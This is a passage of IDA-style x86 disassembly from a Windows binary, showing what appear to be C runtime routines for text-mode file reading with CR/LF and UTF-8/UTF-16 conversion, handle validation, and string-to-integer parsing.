loc_40A11D:				; CODE XREF: sub_40A03D+8Fj
					; sub_40A03D+D7j
		cmp	dword ptr [esi+18h], 200h
		jnz	short loc_40A13A
		mov	eax, [esi+0Ch]
		test	al, 8
		jz	short loc_40A13A
		test	ax, 400h
		jnz	short loc_40A13A
		mov	dword ptr [esi+18h], 1000h

loc_40A13A:				; CODE XREF: sub_40A03D+E7j
					; sub_40A03D+EEj ...
		mov	ecx, [esi]
		dec	dword ptr [esi+4]
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[esi], ecx
		jmp	short loc_40A15A
; ---------------------------------------------------------------------------

loc_40A147:				; CODE XREF: sub_40A03D+80j
					; sub_40A03D+89j
		neg	eax
		sbb	eax, eax
		and	eax, 10h
		add	eax, 10h
		or	[esi+0Ch], eax
		mov	[esi+4], edi

loc_40A157:				; CODE XREF: sub_40A03D+24j
					; sub_40A03D+2Ej ...
		or	eax, 0FFFFFFFFh

loc_40A15A:				; CODE XREF: sub_40A03D+108j
		pop	edi
		pop	esi
		retn
sub_40A03D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A15D	proc near		; CODE XREF: sub_40A6FF+9Ap
					; sub_40E422+355p ...

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= word ptr -8
var_2		= byte ptr -2
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	edx, [ebp+arg_8]
		push	esi
		mov	esi, [ebp+arg_0]
		push	0FFFFFFFEh
		pop	eax
		cmp	esi, eax
		mov	[ebp+var_14], eax
		mov	[ebp+var_1C], edx
		jnz	short loc_40A192
		call	sub_405B96
		and	dword ptr [eax], 0
		call	sub_405B83
		mov	dword ptr [eax], 9
		or	eax, 0FFFFFFFFh
		jmp	loc_40A6FC
; ---------------------------------------------------------------------------

loc_40A192:				; CODE XREF: sub_40A15D+18j
		push	edi
		xor	edi, edi
		cmp	esi, edi
		jl	short loc_40A1A1
		cmp	esi, dword_4356E8
		jb	short loc_40A1C8

loc_40A1A1:				; CODE XREF: sub_40A15D+3Aj
		call	sub_405B96
		mov	[eax], edi
		call	sub_405B83
		push	edi
		push	edi
		push	edi
		push	edi
		push	edi
		mov	dword ptr [eax], 9
		call	sub_4032F9
		add	esp, 14h
		or	eax, 0FFFFFFFFh
		jmp	loc_40A6FB
; ---------------------------------------------------------------------------

loc_40A1C8:				; CODE XREF: sub_40A15D+42j
		mov	eax, esi
		and	esi, 1Fh
		imul	esi, 28h
		sar	eax, 5
		push	ebx
		lea	ebx, ds:435700h[eax*4]
		mov	eax, [ebx]
		add	eax, esi
		mov	cl, [eax+4]
		test	cl, 1
		jnz	short loc_40A1FE
		call	sub_405B96
		mov	[eax], edi
		call	sub_405B83
		mov	dword ptr [eax], 9
		jmp	loc_40A345
; ---------------------------------------------------------------------------

loc_40A1FE:				; CODE XREF: sub_40A15D+88j
		cmp	edx, edi
		mov	[ebp+var_10], edi
		jz	loc_40A6F8
		test	cl, 2
		jnz	loc_40A6F8
		mov	ecx, [ebp+arg_4]
		cmp	ecx, edi
		jz	loc_40A333
		mov	al, [eax+24h]
		add	al, al
		sar	al, 1
		mov	[ebp+var_2], al
		movsx	eax, al
		dec	eax
		jz	loc_40A32B
		dec	eax
		jnz	short loc_40A246
		mov	eax, edx
		not	eax
		test	al, 1
		jz	loc_40A333
		and	edx, 0FFFFFFFEh
		mov	[ebp+arg_8], edx

loc_40A246:				; CODE XREF: sub_40A15D+D5j
		mov	[ebp+var_C], ecx

loc_40A249:				; CODE XREF: sub_40A15D+216j
		mov	ecx, [ebx]
		mov	eax, [ebp+var_C]
		lea	edi, [esi+ecx]
		test	byte ptr [edi+4], 48h
		jz	short loc_40A2CD
		mov	cl, [edi+5]
		cmp	cl, 0Ah
		jz	short loc_40A2CD
		xor	edx, edx
		cmp	[ebp+arg_8], edx
		jz	short loc_40A2CD
		mov	[eax], cl
		mov	ecx, [ebx]
		inc	eax
		dec	[ebp+arg_8]
		cmp	[ebp+var_2], dl
		mov	[ebp+var_10], 1
		mov	byte ptr [esi+ecx+5], 0Ah
		jz	short loc_40A2CD
		mov	ecx, [ebx]
		mov	cl, [esi+ecx+25h]
		cmp	cl, 0Ah
		jz	short loc_40A2CD
		cmp	[ebp+arg_8], edx
		jz	short loc_40A2CD
		mov	[eax], cl
		mov	ecx, [ebx]
		inc	eax
		dec	[ebp+arg_8]
		cmp	[ebp+var_2], 1
		mov	[ebp+var_10], 2
		mov	byte ptr [esi+ecx+25h],	0Ah
		jnz	short loc_40A2CD
		mov	ecx, [ebx]
		mov	cl, [esi+ecx+26h]
		cmp	cl, 0Ah
		jz	short loc_40A2CD
		cmp	[ebp+arg_8], edx
		jz	short loc_40A2CD
		mov	[eax], cl
		mov	ecx, [ebx]
		inc	eax
		dec	[ebp+arg_8]
		mov	[ebp+var_10], 3
		mov	byte ptr [esi+ecx+26h],	0Ah

loc_40A2CD:				; CODE XREF: sub_40A15D+F8j
					; sub_40A15D+100j ...
		push	0
		lea	ecx, [ebp+var_18]
		push	ecx
		push	[ebp+arg_8]
		push	eax
		mov	eax, [ebx]
		push	dword ptr [esi+eax]
		call	ds:off_41D078
		test	eax, eax
		jz	loc_40A6C2
		mov	edi, [ebp+var_18]
		test	edi, edi
		jl	loc_40A6C2
		cmp	edi, [ebp+arg_8]
		ja	loc_40A6C2
		mov	eax, [ebx]
		add	[ebp+var_10], edi
		lea	eax, [esi+eax+4]
		test	byte ptr [eax],	80h
		jz	loc_40A562
		cmp	[ebp+var_2], 2
		jz	loc_40A58C
		test	edi, edi
		jz	short loc_40A397
		mov	ecx, [ebp+var_C]
		cmp	byte ptr [ecx],	0Ah
		jnz	short loc_40A397
		or	byte ptr [eax],	4
		jmp	short loc_40A39A
; ---------------------------------------------------------------------------

loc_40A32B:				; CODE XREF: sub_40A15D+CEj
		mov	eax, edx
		not	eax
		test	al, 1
		jnz	short loc_40A354

loc_40A333:				; CODE XREF: sub_40A15D+BAj
					; sub_40A15D+DDj
		call	sub_405B96
		mov	[eax], edi
		call	sub_405B83
		mov	dword ptr [eax], 16h

loc_40A345:				; CODE XREF: sub_40A15D+9Cj
		push	edi
		push	edi
		push	edi
		push	edi
		push	edi
		call	sub_4032F9
		add	esp, 14h
		jmp	short loc_40A38F
; ---------------------------------------------------------------------------

loc_40A354:				; CODE XREF: sub_40A15D+1D4j
		mov	eax, edx
		push	4
		pop	ecx
		shr	eax, 1
		cmp	eax, ecx
		mov	[ebp+arg_8], ecx
		jb	short loc_40A365
		mov	[ebp+arg_8], eax

loc_40A365:				; CODE XREF: sub_40A15D+203j
		push	[ebp+arg_8]
		call	sub_407AEA
		cmp	eax, edi
		pop	ecx
		mov	[ebp+var_C], eax
		jnz	loc_40A249
		call	sub_405B83
		mov	dword ptr [eax], 0Ch
		call	sub_405B96
		mov	dword ptr [eax], 8

loc_40A38F:				; CODE XREF: sub_40A15D+1F5j
		or	eax, 0FFFFFFFFh
		jmp	loc_40A6FA
; ---------------------------------------------------------------------------

loc_40A397:				; CODE XREF: sub_40A15D+1BFj
					; sub_40A15D+1C7j
		and	byte ptr [eax],	0FBh

loc_40A39A:				; CODE XREF: sub_40A15D+1CCj
		mov	edi, [ebp+var_C]
		mov	eax, [ebp+var_10]
		add	eax, edi
		cmp	edi, eax
		mov	[ebp+arg_8], edi
		mov	[ebp+var_10], eax
		jnb	loc_40A480

loc_40A3B0:				; CODE XREF: sub_40A15D+306j
		mov	ecx, [ebp+arg_8]
		mov	al, [ecx]
		cmp	al, 1Ah
		jz	loc_40A46B
		cmp	al, 0Dh
		jz	short loc_40A3CD
		mov	[edi], al
		inc	edi
		inc	ecx
		mov	[ebp+arg_8], ecx
		jmp	loc_40A45D
; ---------------------------------------------------------------------------

loc_40A3CD:				; CODE XREF: sub_40A15D+262j
		mov	eax, [ebp+var_10]
		dec	eax
		cmp	ecx, eax
		jnb	short loc_40A3EC
		lea	eax, [ecx+1]
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_40A3E7
		inc	ecx
		inc	ecx
		mov	[ebp+arg_8], ecx

loc_40A3E2:				; CODE XREF: sub_40A15D+2CAj
					; sub_40A15D+2E3j
		mov	byte ptr [edi],	0Ah
		jmp	short loc_40A45C
; ---------------------------------------------------------------------------

loc_40A3E7:				; CODE XREF: sub_40A15D+27Ej
		mov	[ebp+arg_8], eax
		jmp	short loc_40A459
; ---------------------------------------------------------------------------

loc_40A3EC:				; CODE XREF: sub_40A15D+276j
		inc	[ebp+arg_8]
		push	0
		lea	eax, [ebp+var_18]
		push	eax
		push	1
		lea	eax, [ebp+var_1]
		push	eax
		mov	eax, [ebx]
		push	dword ptr [esi+eax]
		call	ds:off_41D078
		test	eax, eax
		jnz	short loc_40A414
		call	ds:dword_41D0EC	; RtlGetLastWin32Error
		test	eax, eax
		jnz	short loc_40A459

loc_40A414:				; CODE XREF: sub_40A15D+2ABj
		cmp	[ebp+var_18], 0
		jz	short loc_40A459
		mov	eax, [ebx]
		test	byte ptr [esi+eax+4], 48h
		jz	short loc_40A437
		cmp	[ebp+var_1], 0Ah
		jz	short loc_40A3E2
		mov	byte ptr [edi],	0Dh
		mov	eax, [ebx]
		mov	cl, [ebp+var_1]
		mov	[esi+eax+5], cl
		jmp	short loc_40A45C
; ---------------------------------------------------------------------------

loc_40A437:				; CODE XREF: sub_40A15D+2C4j
		cmp	edi, [ebp+var_C]
		jnz	short loc_40A442
		cmp	[ebp+var_1], 0Ah
		jz	short loc_40A3E2

loc_40A442:				; CODE XREF: sub_40A15D+2DDj
		push	1
		push	0FFFFFFFFh
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		call	sub_40D06E
		add	esp, 10h
		cmp	[ebp+var_1], 0Ah
		jz	short loc_40A45D

loc_40A459:				; CODE XREF: sub_40A15D+28Dj
					; sub_40A15D+2B5j ...
		mov	byte ptr [edi],	0Dh

loc_40A45C:				; CODE XREF: sub_40A15D+288j
					; sub_40A15D+2D8j
		inc	edi

loc_40A45D:				; CODE XREF: sub_40A15D+26Bj
					; sub_40A15D+2FAj
		mov	eax, [ebp+var_10]
		cmp	[ebp+arg_8], eax
		jb	loc_40A3B0
		jmp	short loc_40A480
; ---------------------------------------------------------------------------

loc_40A46B:				; CODE XREF: sub_40A15D+25Aj
		mov	eax, [ebx]
		lea	eax, [esi+eax+4]
		test	byte ptr [eax],	40h
		jnz	short loc_40A47B
		or	byte ptr [eax],	2
		jmp	short loc_40A480
; ---------------------------------------------------------------------------

loc_40A47B:				; CODE XREF: sub_40A15D+317j
		mov	al, [ecx]
		mov	[edi], al
		inc	edi

loc_40A480:				; CODE XREF: sub_40A15D+24Dj
					; sub_40A15D+30Cj ...
		mov	eax, edi
		sub	eax, [ebp+var_C]
		cmp	[ebp+var_2], 1
		mov	[ebp+var_10], eax
		jnz	loc_40A562
		test	eax, eax
		jz	loc_40A562
		dec	edi
		mov	cl, [edi]
		test	cl, cl
		js	short loc_40A4A7
		inc	edi
		jmp	loc_40A52D
; ---------------------------------------------------------------------------

loc_40A4A7:				; CODE XREF: sub_40A15D+342j
		xor	eax, eax
		inc	eax
		movzx	ecx, cl
		jmp	short loc_40A4BE
; ---------------------------------------------------------------------------

loc_40A4AF:				; CODE XREF: sub_40A15D+368j
		cmp	eax, 4
		jg	short loc_40A4C7
		cmp	edi, [ebp+var_C]
		jb	short loc_40A4C7
		dec	edi
		movzx	ecx, byte ptr [edi]
		inc	eax

loc_40A4BE:				; CODE XREF: sub_40A15D+350j
		cmp	byte_423CB8[ecx], 0
		jz	short loc_40A4AF

loc_40A4C7:				; CODE XREF: sub_40A15D+355j
					; sub_40A15D+35Aj
		mov	dl, [edi]
		movzx	ecx, dl
		movsx	ecx, byte_423CB8[ecx]
		test	ecx, ecx
		jnz	short loc_40A4E4
		call	sub_405B83
		mov	dword ptr [eax], 2Ah
		jmp	short loc_40A55E
; ---------------------------------------------------------------------------

loc_40A4E4:				; CODE XREF: sub_40A15D+378j
		inc	ecx
		cmp	ecx, eax
		jnz	short loc_40A4ED
		add	edi, eax
		jmp	short loc_40A52D
; ---------------------------------------------------------------------------

loc_40A4ED:				; CODE XREF: sub_40A15D+38Aj
		mov	ecx, [ebx]
		add	ecx, esi
		test	byte ptr [ecx+4], 48h
		jz	short loc_40A51B
		inc	edi
		cmp	eax, 2
		mov	[ecx+5], dl
		jl	short loc_40A509
		mov	dl, [edi]
		mov	ecx, [ebx]
		mov	[esi+ecx+25h], dl
		inc	edi

loc_40A509:				; CODE XREF: sub_40A15D+3A1j
		cmp	eax, 3
		jnz	short loc_40A517
		mov	dl, [edi]
		mov	ecx, [ebx]
		mov	[esi+ecx+26h], dl
		inc	edi

loc_40A517:				; CODE XREF: sub_40A15D+3AFj
		sub	edi, eax
		jmp	short loc_40A52D
; ---------------------------------------------------------------------------

loc_40A51B:				; CODE XREF: sub_40A15D+398j
		neg	eax
		cdq
		push	1
		push	edx
		push	eax
		push	[ebp+arg_0]
		call	sub_40D06E
		add	esp, 10h

loc_40A52D:				; CODE XREF: sub_40A15D+345j
					; sub_40A15D+38Ej ...
		mov	eax, [ebp+var_1C]
		sub	edi, [ebp+var_C]
		shr	eax, 1
		push	eax
		push	[ebp+arg_4]
		push	edi
		push	[ebp+var_C]
		push	0
		push	0FDE9h
		call	ds:dword_41D0A0	; MultiByteToWideChar
		test	eax, eax
		mov	[ebp+var_10], eax
		jnz	short loc_40A585
		call	ds:dword_41D0EC	; RtlGetLastWin32Error

loc_40A557:				; CODE XREF: sub_40A15D+58Cj
		push	eax
		call	sub_405BA9
		pop	ecx

loc_40A55E:				; CODE XREF: sub_40A15D+385j
					; sub_40A15D+584j
		or	[ebp+var_14], 0FFFFFFFFh

loc_40A562:				; CODE XREF: sub_40A15D+1ADj
					; sub_40A15D+32Fj ...
		mov	eax, [ebp+var_C]
		cmp	eax, [ebp+arg_4]
		jz	short loc_40A571
		push	eax
		call	sub_4039C3
		pop	ecx

loc_40A571:				; CODE XREF: sub_40A15D+40Bj
		mov	eax, [ebp+var_14]
		cmp	eax, 0FFFFFFFEh
		jnz	loc_40A6FA
		mov	eax, [ebp+var_10]
		jmp	loc_40A6FA
; ---------------------------------------------------------------------------

loc_40A585:				; CODE XREF: sub_40A15D+3F2j
		add	eax, eax
		mov	[ebp+var_10], eax
		jmp	short loc_40A562
; ---------------------------------------------------------------------------

loc_40A58C:				; CODE XREF: sub_40A15D+1B7j
		test	edi, edi
		jz	short loc_40A59E
		mov	ecx, [ebp+var_C]
		cmp	word ptr [ecx],	0Ah
		jnz	short loc_40A59E
		or	byte ptr [eax],	4
		jmp	short loc_40A5A1
; ---------------------------------------------------------------------------

loc_40A59E:				; CODE XREF: sub_40A15D+431j
					; sub_40A15D+43Aj
		and	byte ptr [eax],	0FBh

loc_40A5A1:				; CODE XREF: sub_40A15D+43Fj
		mov	edi, [ebp+var_C]
		mov	eax, [ebp+var_10]
		add	eax, edi
		cmp	edi, eax
		mov	[ebp+arg_8], edi
		mov	[ebp+var_10], eax
		jnb	loc_40A6B7

loc_40A5B7:				; CODE XREF: sub_40A15D+53Aj
		mov	eax, [ebp+arg_8]
		movzx	ecx, word ptr [eax]
		cmp	cx, 1Ah
		jz	loc_40A69F
		cmp	cx, 0Dh
		jz	short loc_40A5DC
		mov	[edi], cx
		inc	edi
		inc	edi
		inc	eax
		inc	eax
		mov	[ebp+arg_8], eax
		jmp	loc_40A691
; ---------------------------------------------------------------------------

loc_40A5DC:				; CODE XREF: sub_40A15D+46Ej
		mov	ecx, [ebp+var_10]
		add	ecx, 0FFFFFFFEh
		cmp	eax, ecx
		jnb	short loc_40A607
		lea	ecx, [eax+2]
		cmp	word ptr [ecx],	0Ah
		jnz	short loc_40A5FF
		add	eax, 4
		mov	[ebp+arg_8], eax

loc_40A5F5:				; CODE XREF: sub_40A15D+4E7j
					; sub_40A15D+513j
		mov	word ptr [edi],	0Ah
		jmp	loc_40A68F
; ---------------------------------------------------------------------------

loc_40A5FF:				; CODE XREF: sub_40A15D+490j
		mov	[ebp+arg_8], ecx
		jmp	loc_40A68A
; ---------------------------------------------------------------------------

loc_40A607:				; CODE XREF: sub_40A15D+487j
		add	[ebp+arg_8], 2
		push	0
		lea	eax, [ebp+var_18]
		push	eax
		push	2
		lea	eax, [ebp+var_8]
		push	eax
		mov	eax, [ebx]
		push	dword ptr [esi+eax]
		call	ds:off_41D078
		test	eax, eax
		jnz	short loc_40A630
		call	ds:dword_41D0EC	; RtlGetLastWin32Error
		test	eax, eax
		jnz	short loc_40A68A

loc_40A630:				; CODE XREF: sub_40A15D+4C7j
		cmp	[ebp+var_18], 0
		jz	short loc_40A68A
		mov	eax, [ebx]
		test	byte ptr [esi+eax+4], 48h
		jz	short loc_40A666
		cmp	[ebp+var_8], 0Ah
		jz	short loc_40A5F5
		mov	word ptr [edi],	0Dh
		mov	eax, [ebx]
		mov	cl, byte ptr [ebp+var_8]
		mov	[esi+eax+5], cl
		mov	eax, [ebx]
		mov	cl, byte ptr [ebp+var_8+1]
		mov	[esi+eax+25h], cl
		mov	eax, [ebx]
		mov	byte ptr [esi+eax+26h],	0Ah
		jmp	short loc_40A68F
; ---------------------------------------------------------------------------

loc_40A666:				; CODE XREF: sub_40A15D+4E0j
		cmp	edi, [ebp+var_C]
		jnz	short loc_40A672
		cmp	[ebp+var_8], 0Ah
		jz	short loc_40A5F5

loc_40A672:				; CODE XREF: sub_40A15D+50Cj
		push	1
		push	0FFFFFFFFh
		push	0FFFFFFFEh
		push	[ebp+arg_0]
		call	sub_40D06E
		add	esp, 10h
		cmp	[ebp+var_8], 0Ah
		jz	short loc_40A691

loc_40A68A:				; CODE XREF: sub_40A15D+4A5j
					; sub_40A15D+4D1j ...
		mov	word ptr [edi],	0Dh

loc_40A68F:				; CODE XREF: sub_40A15D+49Dj
					; sub_40A15D+507j
		inc	edi
		inc	edi

loc_40A691:				; CODE XREF: sub_40A15D+47Aj
					; sub_40A15D+52Bj
		mov	eax, [ebp+var_10]
		cmp	[ebp+arg_8], eax
		jb	loc_40A5B7
		jmp	short loc_40A6B7
; ---------------------------------------------------------------------------

loc_40A69F:				; CODE XREF: sub_40A15D+464j
		mov	ecx, [ebx]
		lea	esi, [esi+ecx+4]
		test	byte ptr [esi],	40h
		jnz	short loc_40A6AF
		or	byte ptr [esi],	2
		jmp	short loc_40A6B7
; ---------------------------------------------------------------------------

loc_40A6AF:				; CODE XREF: sub_40A15D+54Bj
		mov	ax, [eax]
		mov	[edi], ax
		inc	edi
		inc	edi

loc_40A6B7:				; CODE XREF: sub_40A15D+454j
					; sub_40A15D+540j ...
		sub	edi, [ebp+var_C]
		mov	[ebp+var_10], edi
		jmp	loc_40A562
; ---------------------------------------------------------------------------

loc_40A6C2:				; CODE XREF: sub_40A15D+187j
					; sub_40A15D+192j ...
		call	ds:dword_41D0EC	; RtlGetLastWin32Error
		push	5
		pop	esi
		cmp	eax, esi
		jnz	short loc_40A6E6
		call	sub_405B83
		mov	dword ptr [eax], 9
		call	sub_405B96
		mov	[eax], esi
		jmp	loc_40A55E
; ---------------------------------------------------------------------------

loc_40A6E6:				; CODE XREF: sub_40A15D+570j
		cmp	eax, 6Dh
		jnz	loc_40A557
		and	[ebp+var_14], 0
		jmp	loc_40A562
; ---------------------------------------------------------------------------

loc_40A6F8:				; CODE XREF: sub_40A15D+A6j
					; sub_40A15D+AFj
		xor	eax, eax

loc_40A6FA:				; CODE XREF: sub_40A15D+235j
					; sub_40A15D+41Aj ...
		pop	ebx

loc_40A6FB:				; CODE XREF: sub_40A15D+66j
		pop	edi

loc_40A6FC:				; CODE XREF: sub_40A15D+30j
		pop	esi
		leave
		retn
sub_40A15D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A6FF	proc near		; CODE XREF: sub_403EE2+C9p
					; sub_40A03D+73p

var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	10h
		push	offset dword_4218D0
		call	__SEH_prolog4
		mov	eax, [ebp+arg_0]
		cmp	eax, 0FFFFFFFEh
		jnz	short loc_40A72E
		call	sub_405B96
		and	dword ptr [eax], 0
		call	sub_405B83
		mov	dword ptr [eax], 9

loc_40A726:				; CODE XREF: sub_40A6FF+5Cj
		or	eax, 0FFFFFFFFh
		jmp	loc_40A7CB
; ---------------------------------------------------------------------------

loc_40A72E:				; CODE XREF: sub_40A6FF+12j
		xor	edi, edi
		cmp	eax, edi
		jl	short loc_40A73C
		cmp	eax, dword_4356E8
		jb	short loc_40A75D

loc_40A73C:				; CODE XREF: sub_40A6FF+33j
					; sub_40A6FF+7Cj
		call	sub_405B96
		mov	[eax], edi
		call	sub_405B83
		mov	dword ptr [eax], 9
		push	edi
		push	edi
		push	edi
		push	edi
		push	edi
		call	sub_4032F9
		add	esp, 14h
		jmp	short loc_40A726
; ---------------------------------------------------------------------------

loc_40A75D:				; CODE XREF: sub_40A6FF+3Bj
		mov	ecx, eax
		sar	ecx, 5
		lea	ebx, ds:435700h[ecx*4]
		mov	esi, eax
		and	esi, 1Fh
		imul	esi, 28h
		mov	ecx, [ebx]
		movzx	ecx, byte ptr [ecx+esi+4]
		and	ecx, 1
		jz	short loc_40A73C
		push	eax
		call	sub_40F19E
		pop	ecx
		mov	[ebp+ms_exc.disabled], edi
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 1
		jz	short loc_40A7A6
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40A15D
		add	esp, 0Ch
		mov	[ebp+var_1C], eax
		jmp	short loc_40A7BC
; ---------------------------------------------------------------------------

loc_40A7A6:				; CODE XREF: sub_40A6FF+8Fj
		call	sub_405B83
		mov	dword ptr [eax], 9
		call	sub_405B96
		mov	[eax], edi
		or	[ebp+var_1C], 0FFFFFFFFh

loc_40A7BC:				; CODE XREF: sub_40A6FF+A5j
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		call	sub_40A7D1
		mov	eax, [ebp+var_1C]

loc_40A7CB:				; CODE XREF: sub_40A6FF+2Aj
		call	__SEH_epilog4
		retn
sub_40A6FF	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A7D1	proc near		; CODE XREF: sub_40A6FF+C4p
					; DATA XREF: c.7ld2ih:004218E8o
		push	dword ptr [ebp+8]
		call	sub_40F23E
		pop	ecx
		retn
sub_40A7D1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A7DB	proc near		; CODE XREF: sub_40AA06:loc_40AA25p

var_14		= dword	ptr -14h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	esi
		push	edi
		push	[ebp+arg_0]
		lea	ecx, [ebp+var_14]
		call	sub_402ADF
		mov	eax, [ebp+arg_8]
		mov	esi, [ebp+arg_4]
		xor	edi, edi
		cmp	eax, edi
		jz	short loc_40A7FC
		mov	[eax], esi

loc_40A7FC:				; CODE XREF: sub_40A7DB+1Dj
		cmp	esi, edi
		jnz	short loc_40A82C

loc_40A800:				; CODE XREF: sub_40A7DB+5Aj
					; sub_40A7DB+60j
		call	sub_405B83
		push	edi
		push	edi
		push	edi
		push	edi
		push	edi
		mov	dword ptr [eax], 16h
		call	sub_4032F9
		add	esp, 14h
		cmp	[ebp+var_8], 0
		jz	short loc_40A825
		mov	eax, [ebp+var_C]
		and	dword ptr [eax+70h], 0FFFFFFFDh

loc_40A825:				; CODE XREF: sub_40A7DB+41j
		xor	eax, eax
		jmp	loc_40AA02
; ---------------------------------------------------------------------------

loc_40A82C:				; CODE XREF: sub_40A7DB+23j
		cmp	[ebp+arg_C], edi
		jz	short loc_40A83D
		cmp	[ebp+arg_C], 2
		jl	short loc_40A800
		cmp	[ebp+arg_C], 24h
		jg	short loc_40A800

loc_40A83D:				; CODE XREF: sub_40A7DB+54j
		mov	ecx, [ebp+var_14]
		push	ebx
		mov	bl, [esi]
		mov	[ebp+var_4], edi
		lea	edi, [esi+1]

loc_40A849:				; CODE XREF: sub_40A7DB+A5j
		cmp	dword ptr [ecx+0ACh], 1
		jle	short loc_40A869
		lea	eax, [ebp+var_14]
		push	eax
		movzx	eax, bl
		push	8
		push	eax
		call	sub_40CDF4
		mov	ecx, [ebp+var_14]
		add	esp, 0Ch
		jmp	short loc_40A879
; ---------------------------------------------------------------------------

loc_40A869:				; CODE XREF: sub_40A7DB+75j
		mov	edx, [ecx+0C8h]
		movzx	eax, bl
		movzx	eax, byte ptr [edx+eax*2]
		and	eax, 8

loc_40A879:				; CODE XREF: sub_40A7DB+8Cj
		test	eax, eax
		jz	short loc_40A882
		mov	bl, [edi]
		inc	edi
		jmp	short loc_40A849
; ---------------------------------------------------------------------------

loc_40A882:				; CODE XREF: sub_40A7DB+A0j
		cmp	bl, 2Dh
		jnz	short loc_40A88D
		or	[ebp+arg_10], 2
		jmp	short loc_40A892
; ---------------------------------------------------------------------------

loc_40A88D:				; CODE XREF: sub_40A7DB+AAj
		cmp	bl, 2Bh
		jnz	short loc_40A895

loc_40A892:				; CODE XREF: sub_40A7DB+B0j
		mov	bl, [edi]
		inc	edi

loc_40A895:				; CODE XREF: sub_40A7DB+B5j
		mov	eax, [ebp+arg_C]
		test	eax, eax
		jl	loc_40A9E9
		cmp	eax, 1
		jz	loc_40A9E9
		cmp	eax, 24h
		jg	loc_40A9E9
		test	eax, eax
		jnz	short loc_40A8E0
		cmp	bl, 30h
		jz	short loc_40A8C4
		mov	[ebp+arg_C], 0Ah
		jmp	short loc_40A8F8
; ---------------------------------------------------------------------------

loc_40A8C4:				; CODE XREF: sub_40A7DB+DEj
		mov	al, [edi]
		cmp	al, 78h
		jz	short loc_40A8D7
		cmp	al, 58h
		jz	short loc_40A8D7
		mov	[ebp+arg_C], 8
		jmp	short loc_40A8F8
; ---------------------------------------------------------------------------

loc_40A8D7:				; CODE XREF: sub_40A7DB+EDj
					; sub_40A7DB+F1j
		mov	[ebp+arg_C], 10h
		jmp	short loc_40A8EA
; ---------------------------------------------------------------------------

loc_40A8E0:				; CODE XREF: sub_40A7DB+D9j
		cmp	eax, 10h
		jnz	short loc_40A8F8
		cmp	bl, 30h
		jnz	short loc_40A8F8

loc_40A8EA:				; CODE XREF: sub_40A7DB+103j
		mov	al, [edi]
		cmp	al, 78h
		jz	short loc_40A8F4
		cmp	al, 58h
		jnz	short loc_40A8F8

loc_40A8F4:				; CODE XREF: sub_40A7DB+113j
		inc	edi
		mov	bl, [edi]
		inc	edi

loc_40A8F8:				; CODE XREF: sub_40A7DB+E7j
					; sub_40A7DB+FAj ...
		mov	esi, [ecx+0C8h]
		or	eax, 0FFFFFFFFh
		xor	edx, edx
		div	[ebp+arg_C]

loc_40A906:				; CODE XREF: sub_40A7DB+19Dj
		movzx	ecx, bl
		movzx	ecx, word ptr [esi+ecx*2]
		test	cl, 4
		jz	short loc_40A91A
		movsx	ecx, bl
		sub	ecx, 30h
		jmp	short loc_40A934
; ---------------------------------------------------------------------------

loc_40A91A:				; CODE XREF: sub_40A7DB+135j
		test	cx, 103h
		jz	short loc_40A952
		mov	cl, bl
		sub	cl, 61h
		cmp	cl, 19h
		movsx	ecx, bl
		ja	short loc_40A931
		sub	ecx, 20h

loc_40A931:				; CODE XREF: sub_40A7DB+151j
		add	ecx, 0FFFFFFC9h

loc_40A934:				; CODE XREF: sub_40A7DB+13Dj
		cmp	ecx, [ebp+arg_C]
		jnb	short loc_40A952
		or	[ebp+arg_10], 8
		cmp	[ebp+var_4], eax
		jb	short loc_40A969
		jnz	short loc_40A948
		cmp	ecx, edx
		jbe	short loc_40A969

loc_40A948:				; CODE XREF: sub_40A7DB+167j
		or	[ebp+arg_10], 4
		cmp	[ebp+arg_8], 0
		jnz	short loc_40A975

loc_40A952:				; CODE XREF: sub_40A7DB+144j
					; sub_40A7DB+15Cj
		mov	eax, [ebp+arg_10]
		dec	edi
		test	al, 8
		jnz	short loc_40A97A
		cmp	[ebp+arg_8], 0
		jz	short loc_40A963
		mov	edi, [ebp+arg_4]

loc_40A963:				; CODE XREF: sub_40A7DB+183j
		and	[ebp+var_4], 0
		jmp	short loc_40A9C5
; ---------------------------------------------------------------------------

loc_40A969:				; CODE XREF: sub_40A7DB+165j
					; sub_40A7DB+16Bj
		mov	ebx, [ebp+var_4]
		imul	ebx, [ebp+arg_C]
		add	ebx, ecx
		mov	[ebp+var_4], ebx

loc_40A975:				; CODE XREF: sub_40A7DB+175j
		mov	bl, [edi]
		inc	edi
		jmp	short loc_40A906
; ---------------------------------------------------------------------------

loc_40A97A:				; CODE XREF: sub_40A7DB+17Dj
		test	al, 4
		mov	esi, 7FFFFFFFh
		jnz	short loc_40A99E
		test	al, 1
		jnz	short loc_40A9C5
		and	eax, 2
		jz	short loc_40A995
		cmp	[ebp+var_4], 80000000h
		ja	short loc_40A99E

loc_40A995:				; CODE XREF: sub_40A7DB+1AFj
		test	eax, eax
		jnz	short loc_40A9C5
		cmp	[ebp+var_4], esi
		jbe	short loc_40A9C5

loc_40A99E:				; CODE XREF: sub_40A7DB+1A6j
					; sub_40A7DB+1B8j
		call	sub_405B83
		test	byte ptr [ebp+arg_10], 1
